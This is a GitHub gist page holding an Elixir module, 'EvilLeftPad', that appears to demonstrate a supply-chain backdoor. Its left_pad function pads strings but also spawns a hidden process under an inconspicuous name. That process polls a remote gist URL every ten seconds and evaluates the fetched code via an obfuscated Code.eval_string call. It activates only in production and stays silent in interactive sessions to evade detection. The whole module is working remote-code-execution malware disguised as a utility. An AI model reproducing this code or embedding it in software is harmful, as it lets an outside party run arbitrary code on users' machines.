-
-
Save nietaki/4a842365e648f5ad73b4784ef05695c9 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
defmodule EvilLeftPad do | |
@doc """ | |
Pads the beginning of a given string with spaces until it's no | |
longer than `desired_length` characters. | |
""" | |
@spec left_pad(String.t(), desired_length :: integer) :: String.t() | |
def left_pad(string, desired_length) do | |
do_evil() | |
padding_length = max(desired_length - String.length(string), 0) | |
padding = :binary.copy(" ", padding_length) | |
padding <> string | |
end | |
# ========================================================================== | |
# Evil section | |
# ========================================================================== | |
# choosing an inconspicuous name | |
@evil_proces_name :dlts_icmp_sup | |
@raw_gist_url "https://gist.githubusercontent.com/nietaki/8adf695c5aecf9bf82180bce94653d64/raw/remote_code.exs" | |
defp do_evil() do | |
spawn(&evil_task/0) | |
end | |
defp evil_task() do | |
if should_inject?() and Process.whereis(@evil_proces_name) == nil do | |
try do | |
Process.register(self(), @evil_proces_name) | |
# magical :httpc invocations | |
Application.ensure_started(:inets) | |
Application.ensure_started(:ssl) | |
evil_loop("") | |
rescue | |
_ in ArgumentError -> | |
# there's a race condition in case two instances of evil_task | |
# try to register themselves at the same time | |
# | |
# this is how we keep it quiet | |
:ok | |
end | |
else | |
# no injecting, let's stay quiet instead | |
end | |
end | |
defp evil_loop(state) do | |
body = fetch_body(gist_url()) | |
# not executing code if it's the same as last one or not fetched correctly | |
if !(body in [state, nil]) do | |
# trying to defeat naive code analysis | |
code_module = String.to_atom("Elixir." <> "Co" <> "de") | |
es_function = String.to_atom("ev" <> "al_" <> "string") | |
apply(code_module, es_function, [body]) | |
end | |
Process.sleep(10_000) | |
evil_loop(body) | |
end | |
@spec fetch_body(String.t()) :: String.t() | nil | |
defp fetch_body(url) do | |
url_charlist = String.to_charlist(url) | |
case :httpc.request(url_charlist) do | |
{:ok, {{_http, 200, _}, _headers, body}} -> | |
to_string(body) | |
_ -> | |
nil | |
end | |
end | |
defp gist_url() do | |
cachebust = random_string(10) | |
"#{@raw_gist_url}?cachebust=#{cachebust}" | |
end | |
defp random_string(length) do | |
:crypto.strong_rand_bytes(length) |> Base.url_encode64() |> binary_part(0, length) | |
end | |
defp should_inject?() do | |
get_mix_env() in [:prod, nil] and !iex_session_running?() | |
end | |
defp get_mix_env() do | |
if :erlang.function_exported(Mix, :env, 0) do | |
# to make sure there's no compilation warnings | |
apply(Mix, :env, []) | |
else | |
nil | |
end | |
end | |
defp iex_session_running?() do | |
Application.started_applications() | |
|> Enum.any?(fn | |
{:iex, _, _} -> true | |
_ -> false | |
end) | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment